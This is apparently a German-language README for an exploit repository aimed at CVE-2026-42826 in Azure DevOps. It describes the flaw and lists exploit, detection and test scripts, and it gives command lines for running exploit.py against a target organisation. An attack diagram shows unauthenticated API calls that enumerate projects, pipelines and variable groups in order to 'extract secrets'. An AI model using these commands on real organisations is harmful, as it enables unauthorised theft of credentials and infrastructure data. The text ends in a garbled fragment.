
Nutzt CVE-2026-42826 aus, um über unauthentifizierte REST-API-Anfragen sensible Azure-DevOps-Daten aufzulisten und zu extrahieren: Pipeline-YAML, Variablengruppen, Dienstverbindungen und Buildprotokolle.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 Kritisch (Microsoft) / 7.5 Hoch (NVD) |
| CWE | CWE-200 (Offenlegung vertraulicher Informationen gegenüber einem nicht autorisierten Akteur) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| Betroffen | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| Behoben | Azure DevOps Server 2026.0.1+ (Services serverseitig gepatcht) |
| Entdecker | Noa Royzman (Microsoft) |
Azure DevOps kann unter bestimmten Bedingungen Pipeline-Konfigurationen, Inhalte von Variablengruppen und Build-Artefakte über nicht authentifizierte HTTP-Anfragen ausliefern. Ein entfernter Angreifer sendet manipulierte Anfragen an die Azure DevOps REST-API und erhält JSON-Antworten, die Folgendes enthalten:
Es sind keine Anmeldedaten erforderlich, wenn das Zielprojekt für öffentliche Sichtbarkeit konfiguriert ist oder wenn ein interner API-Endpunkt vor der Rückgabe von Daten keine Authentifizierungsprüfungen durchsetzt.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Organisationen mit aktivierten öffentlichen Projekten legen Repos, Pipelines, Artefakte und Arbeitselemente für das nicht authentifizierte Internet offen.
Bestimmte interne API-Endpunkte erzwingen keine Authentifizierungsprüfungen, bevor sie vertrauliche Daten zurückgeben.
Pipeline-YAML-Dateien öffentlicher Projekte verweisen namentlich auf Dienstverbindungen und Variablengruppen und legen so die Azure-Abonnementstruktur, Bereitstellungsziele, Registry-URLs und Umgebungsnamen offen.
Metadaten von Dienstverbindungen (Azure-Abonnement-IDs, Mandanten-IDs, Kubernetes-Cluster-IDs) werden über die API offengelegt.
Nicht geheime Variablenwerte sind in der Benutzeroberfläche sichtbar, werden von der API zurückgegeben und in Build-Protokollen ausgegeben.
Build-Protokolle können vertrauliche Konfigurationsdaten, Umgebungsvariablen und Infrastrukturdaten enthalten.
| Datei | Zweck |
|---|---|
exploit.py | Haupt-Exploit — 6 Angriffsvektoren, Geheimnis-Scan, Berichtserstellung |
detect.py | Erkennungs- und Härtungsprüfer für Azure DevOps-Instanzen |
test_exploit.py | Unit-Tests (30+ Tests, die die gesamte Exploit-Funktionalität validieren) |
| Dokument | Inhalt |
|---|---|
| USAGE.md | Detaillierte Anleitung mit Schritt-für-Schritt-Anweisungen |
| DIAGRAM.md | Strukturdiagramme und Visualisierung des Angriffsablaufs |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
Siehe DIAGRAM.md für vollständige Architekturdiagramme.
Code (Read) mit 90 Tagen Gültigkeit begrenzenMIT